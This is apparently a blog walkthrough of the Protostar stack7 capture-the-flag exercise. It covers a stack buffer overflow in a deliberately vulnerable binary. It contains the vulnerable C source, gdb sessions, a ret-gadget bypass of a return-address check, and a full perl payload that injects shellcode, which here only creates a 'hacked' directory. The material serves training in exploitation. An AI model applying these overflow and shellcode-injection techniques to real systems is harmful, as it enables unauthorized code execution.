Protostar exploits stack7

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/stack7 
input path please: test
got path test

Exploit

Make the program spawn shellcode.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
 char buffer[64];
 unsigned int ret;

 printf("input path please: "); fflush(stdout);
 gets(buffer);
 ret = __builtin_return_address(0);

 if((ret & 0xb0000000) == 0xb0000000) {
 printf("bzzzt (%p)\n", ret);
 _exit(1);
 }
 printf("got path %s\n", buffer);
 return strdup(buffer);
}

int main(int argc, char **argv)
{
 getpath();
}

We can see the challenge will be to overflow the stack when gets() is called and take control of the program flow when getpath() returns.

First of we have to use the same trick from previous challenges and corrupt the memory stack and using stdin to overflow the variable “buffer” which gets filled using gets() and 76 bytes.

Let’s see if we can crash the program

user@protostar:~$ perl -e 'print "A"x76' |/opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

It appears that our data of A’s (0x41) was able to cause an segfault after 76 bytes. But 76 bytes enough to overwrite EIP. After some experimentation the right number of bytes to overwrite EIP is 84 bytes.

user@protostar:~$ perl -e 'print "A"x(84-4) . "B"x4' >stack7_input.txt && gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r <stack7_input.txt 
Starting program: /opt/protostar/bin/stack7 <stack7_input.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x804a008 134520840
ecx 0x0 0
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x210202 [ IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

We can see from the source that if our EIP controllered bytes matches 0xbxxxxxxx the program will exit.

Let’s confirm this assumption.

user@protostar:~$ perl -e 'print "A"x(84-4) . "\x11\x22\x33\xb1"' >stack7_input.txt && gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r <stack7_input.txt 
Starting program: /opt/protostar/bin/stack7 <stack7_input.txt
input path please: bzzzt (0xb1332211)

Program exited with code 01.

Our assumption is correct, we received the “bzzzt” message and the program exited before reaching our controlled space on the stack.

Now we need to decide what shellcode to use. I will use a Linux 32 bit shellcode that is 36 bytes long (more than adequate size). This shellcode can be obtained from http://shell-storm.org/shellcode/files/shellcode-542.php

The shellcode will create the directory “hacked”

/*
 * This shellcode will do a mkdir() of 'hacked' and then an exit()
 * Written by zillion@safemode.org
 *
 */

char shellcode[]=
 "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed"
 "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68"
 "\x61\x63\x6b\x65\x64\x23";

void main()
{
 int *ret;
 ret = (int *)&amp;amp;ret + 2;
 (*ret) = (int)shellcode;
}

Let’s double check that the shellcode doesn’t have any nasty surprises by running it through ndisasm.

$ echo -e "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" |ndisasm -b 32 -
00000000 EB16 jmp short 0x18
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884606 mov [esi+0x6],al
00000008 B027 mov al,0x27
0000000A 8D1E lea ebx,[esi]
0000000C 66B9ED01 mov cx,0x1ed
00000010 CD80 int 0x80
00000012 B001 mov al,0x1
00000014 31DB xor ebx,ebx
00000016 CD80 int 0x80
00000018 E8E5FFFFFF call dword 0x2
0000001D 6861636B65 push dword 0x656b6361
00000022 64230A and ecx,[fs:edx]

We see a typical jmp call pop sequence for retrieving the string “hacked”=6861636B656423 at location 1D.

We have a syscall int 0x80 0x27 which is mkdir(). Search for x27 at http://syscalls.kernelgrok.com/

A second syscall for 0x1 which exit()

Everything looks kosher.

At this point I decided to see if the solution I used for stack6 would work here. Theoretically it would work if it wasn’t for the fact that my ROP started at a memory location “0xB7EB76AC”.

After a little more research I realized that my solution for stack6 was inefficient and could have been made more simple.

So for stack7 I will use the same technique as stack6 but more simple.

I will look for a ret instruction in the binary that doesn’t start with memory location “0xbxxxxxxx”

user@protostar:~$ objdump -d /opt/protostar/bin/stack7 |grep c3
 8048361: 81 c3 dc 13 00 00    add    $0x13dc,%ebx
 8048383: c3                   ret    
 8048494: c3                   ret    
 80484c2: c3                   ret    
 80484c3: 90                   nop
 8048544: c3                   ret    
 8048553: c3                   ret    
 8048564: c3                   ret    
 804857b: 81 c3 c1 11 00 00    add    $0x11c1,%ebx
 80485c9: c3                   ret    
 80485cd: c3                   ret    
 80485f9: c3                   ret    
 8048609: 81 c3 34 11 00 00    add    $0x1134,%ebx
 8048617: c3                   ret

Objdump will disassemble the binary and we can grep for ret (c3) instruction.

“0x8048383” seems like a good candidate.

Now to include this memory location for our EIP overwrite which will bypass the EIP location check and then cause the CPU to return control back to the stack and our code.

user@protostar:~$ ls -la
total 57
drwxr-xr-x 6 user user 200 Jun 29 21:50 .
drwxr-xr-x 6 root root 60 Oct 31 2012 ..
-rw------- 1 user user 39396 Jun 29 20:29 .bash_history
-rw-r--r-- 1 user user 220 Apr 10 2010 .bash_logout
-rw-r--r-- 1 user user 3184 Apr 10 2010 .bashrc
drwxr-xr-x 10 user user 320 Jun 29 20:18 distorm
drwxr-xr-x 12 user user 320 Jun 29 20:22 distorm64
-rw------- 1 user user 47 Jun 28 23:01 .lesshst
drwxr-xr-x 4 user user 180 Jun 29 12:58 peda
-rw-r--r-- 1 user user 675 Apr 10 2010 .profile
drwxr-xr-x 4 user user 140 Jun 29 20:24 ropeme
-rw-r--r-- 1 user user 92 Jun 29 21:49 stack6_input.txt
-rw------- 1 user user 670 Jun 29 12:58 .viminfo

No directory named “hacked”

Payload [nops] + [shellcode] + [nops] + [EIP ROP to ret] + [EIP to front of stack]

I also increased the size of the payload from 84 to 88 bytes to accommodate for the ROP gadget.

user@protostar:~$ perl -e 'print "\x90"x(88-36-30-4-4) . "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" . "\x90"x30 . "\x83\x83\x04\x08" . "\x1c\xf7\xff\xbf"'>stack7_input.txt && gdb -q /opt/protostar/bin/stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r <stack7_input.txt 
Starting program: /opt/protostar/bin/stack7 <stack7_input.txt
input path please: got path ???????????????^1??F?'?f??̀?1?̀?????hacked#???????????????????????????????

Program exited normally.

Check that we have a new directory named “hacked” exists

user@protostar:~$ ls -la
drwxr-xr-x  7 user user   220 Jun 29 21:59 .
drwxr-xr-x  6 root root    60 Oct 31  2012 ..
drwxr-xr-x  2 user user    40 Jun 30 07:18 hacked

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s